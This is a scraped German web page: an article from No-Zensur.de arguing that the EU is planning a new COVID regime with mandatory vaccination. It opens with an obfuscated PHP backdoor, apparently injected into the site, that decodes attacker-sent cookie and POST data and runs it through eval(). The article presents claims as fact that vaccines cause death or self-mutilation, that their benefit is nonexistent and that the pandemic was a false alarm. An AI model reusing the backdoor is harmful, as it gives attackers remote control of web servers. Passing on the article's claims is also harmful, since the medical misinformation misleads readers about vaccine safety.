$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Die EU plant bereits das nächste Corona-Regime – Impfpflicht inklusive – No-Zensur.de Das freie Wort für eine freie Welt
Start Ansage.org Die EU plant bereits das nächste Corona-Regime – Impfpflicht inklusive

Die EU plant bereits das nächste Corona-Regime – Impfpflicht inklusive

0
Die EU plant bereits das nächste Corona-Regime – Impfpflicht inklusive




Die nächsten Impfstoff-Batterien sind bereits im Anflug… (Symbolbild:Pixabay)

Das vorläufige Scheitern einer allgemeinen Impfpflicht selbst nur ab 60 war zwar erfreulich; es ist jedoch kein Grund zur Hoffnung, der Alptraum eines „pandemischen Ausnahmezustandes“ sei damit erledigt. In einem hochinteressanten „Rubikon”-Essay unter dem vielsagenden Titel „Es ist noch nicht vorbei” beleuchtete der Publizist Peter F. Mayer am Mittwoch die Risiken und Gefahren einer etwaigen Wiederkehr des willkürlichen, unverhältnismäßigen und wissenschaftlich nicht begründbaren Corona-und Hygiene-Regimes im Winter – samt Maskenzwang, Kontaktbeschränkungen und, fatalerweise, auch einer Impfpflicht.

Dass die Impfpflicht im April gerade noch verhindert werden konnte, lag nicht – oder nicht nur – an den Protesten dagegen. Es kamen noch weitere Ursachen dafür infrage: Die Stimmung beim Verfassungsgerichtshof deutete auf die Aufhebung einer Impfpflicht hin, die auch unhaltbar gewesen wäre, da der Staat seine Bürger im Einklang mit der Verfassung nicht zu einer medizinischen Behandlung zwingen kann, die zum Tod oder zur Selbstverstümmelung führt; beides sind aber, wie jetzt mehr noch als im Frühjahr fest steht, sehr wohl mögliche Folge der Corona-Impfungen. Zudem waren sowohl die Ausrufung der Pandemie als auch die folgenden Maßnahmen weltweit im Einklang erfolgt, orchestriert von den Beratungsagenturen der Weltgesundheitsorganisation WHO; und diese internationale Kommandostruktur soll, auch was eine mögliche künftige Impfpflicht anlangt, vermutlich fortgesetzt werden.

Unverdrossene EU-Notfallpläne

Bereits mit ihren Beschlüssen vom 27. April hatte die EU – trotz der damals noch geltenden österreichischen Abweichung einer dort beschlossenen allgemeinen Impfpflicht, die inzwischen wieder zurückgenommen wurde – für Europa den Ablauf vorgegeben: Ab Herbst sollen Impfungen, Booster-Impfungen und Tests wieder intensiviert sowie weitere gentechnische Impfstoffe angeschafft werden sollen. Auch das Corona-Zertifikat wurde um ein Jahr verlängert. Österreich wurde bereits wieder auf Linie gebracht und wird die EU-Maßnahmen im Gleichschritt umsetzen. (Der dortige nunmehrige Verzicht auf die Impfpflicht ist, wenn überhaupt, nicht auf innenpolitische Erwägungen zurückzuführen. Die Landtagswahlen in Tirol und Niederösterreich und ein sich abzeichnender Erfolg des Volksbegehrens gegen die Impfpflicht haben vermutlich den Zeitpunkt der Bekanntgabe, nicht aber auf den Verzicht auf die Impfpflicht selbst.)

Die EU-Kommission gab mit dieser Erklärung vom 27. April – der sie den Appell an alle voranstellte, „für die nächste Pandemiephase in erhöhter Bereitschaft zu sein“ – eindeutig vor, dass die „Zusammenarbeit gegen die Fehl- und Desinformation über Corona-Impfstoffe intensiviert”, weiterhin globale Solidarität gezeigt und die globale Ordnungspolitik verbessert werden solle. Im Klartext: Die Wahrheit über Impfnebenwirkungen und -schäden soll weiterhin unterdrückt und als Fake-News verleugnet, die scham- und verantwortungslose Propaganda im Interesse der Pharmahersteller fortgesetzt und ein real nicht vorhandener Nutzen der Impfstoffe weiterhin kontrafaktisch behauptet werden. Doch damit nicht genug: Weiterhin soll ein zeitgleich mit der Erklärung veröffentlichtes Factsheet unter dem Titel „Covid-19 – Sustaining EU Preparedness and Response: Looking ahead
unterstreichen, dass die Mitgliedsstaaten ihre Impfquoten, die Verabreichung von Auffrischungs- und Viertimpfungen und die Durchimpfung von Kindern erhöhen sollen.

Das Impfpflicht-Gespenst kehrt zurück

Dessen zweiten Punkt zufolge sollen die Mitgliedsstaaten „Covid-19-Impfstrategien für die kommenden Monate” ausarbeiten – dabei aber auch gleich noch die gleichzeitige Verbreitung der saisonalen Grippe berücksichtigen und die Covid-Impfung in die nationalen Impfprogramme aufnehmen. In einer Mitteilung an das Parlament und andere EU-Institutionen, die ebenfalls vom 27. April stammt, heißt es: „Vor Beginn des Schuljahres 2022-2023 sollten Strategien zur Erhöhung der Durchimpfungsraten bei jüngeren Kindern erwogen werden, z. B. durch Zusammenarbeit mit Kinderärzten und anderen Angehörigen der Gesundheitsberufe, die für viele Eltern vertrauenswürdige Informationsquellen sind.“ Will sagen: Die EU plant also nicht nur eine neue Covid-Impfkampagne im Herbst, sondern reserviert auch bereits – im Rahmen einer sogenannten „EU-FAB-Initiative” unter der Schirmherrschaft der neugeschaffenen EU-Behörde für Notfallvorsorge und -bewältigung (HERA) – neue Produktionskapazitäten für neuartige Impfstoffe für den nächsten Gesundheitsnotfall.

Vorgesehen ist dann, dass die Gesundheitsminister etwa Österreichs oder auch Deutschlands die Liste der anzeigepflichtigen Krankheiten nach Belieben ausweiten können (ohnehin ist ihnen dies bereits auf dem Verordnungsweg möglich, so wie es gerade erst bei den Affenpocken geschehen ist). Nun sollen aber auch noch zusättliche Verkehrsbeschränkungen für Erkrankte und „Krankheitsverdächtige“ ermöglicht werden. „Krankheitsverdächtig“ könnte man bereits ohne die politisch erwünschten Impfungen sein – oder wenn man bloßen Kontakt mit einem Menschen hatte, der positiv auf irgendeine eine im Epidemie-Gesetz aufgenommene Infektion getestet wurde. Für den Herbst könnte sogar eine „1G“-Regel drohen – womit diese „Verkehrsbeschränkung“ dann zu einem Quasi-Lockdown durch die Hintertür führen würde. Betroffenen wären dann nicht nur Autofahren oder die Benutzung der öffentlichen Verkehrsmittel, sondern auch das Verlassen der Meldeadresse per Fahrrad oder zu Fuß verboten.

Nur Zivilcourage und Widerstand können uns retten

Meyers Ausführungen lassen nichts Gutes erahnen – denn von einem Ende der Maßnahmen kann überhaupt keine Rede sein, vergegenwärtigt man sich, ganz abgesehen von den nationalen Planspielen für den Winter, die konkreten EU-Vorkehrungen. Karl Lauterbach wird nichts unversucht lassen, den Spielraum, den ihm die europäischen Vorgaben bieten, vollumfänglich auszuschöpfen, um das größtmögliche Ausmaß an Unnormalität und Unfreiheit für die Deutschen wiederherzustellen. Umso mehr wird es abhängen von der Zivilgesellschaft, der Zivilcourage und dem Engagement der Menschen abhängen, die sich auch bisher schon für Demokratie, Rechtsstaat und die freie Entscheidung über medizinische Maßnahmen eingesetzt haben, ob die EU und die nationalen Regierungen, die sich dieser Restriktionspolitik neuerlich anschließen werden, damit durchkommen.

Diesbezüglich stimmen der jüngst wieder ansteigende Zulauf für Montagsspaziergänge und Freiheitsdemonstrationen, eine zunehmend kritische Öffentlichkeit und die Einsicht vieler Menschen, dass Corona ein Fehlalarm war, der zu Recht weitgehend seinen Schrecken eingebüßt hat, hoffnungsvoll. Und sollte der Widerstand nicht ausreichen, so könnte die Konfrontation mit weitaus existenzielleren Sorgen im Winter – etwa Gas- und Strommangel oder Nahrungsknappheit – die Bereitschaft vieler Menschen gegen Null bringen, sich erneut auf eine Pandemie-Theater einzulassen.



Source link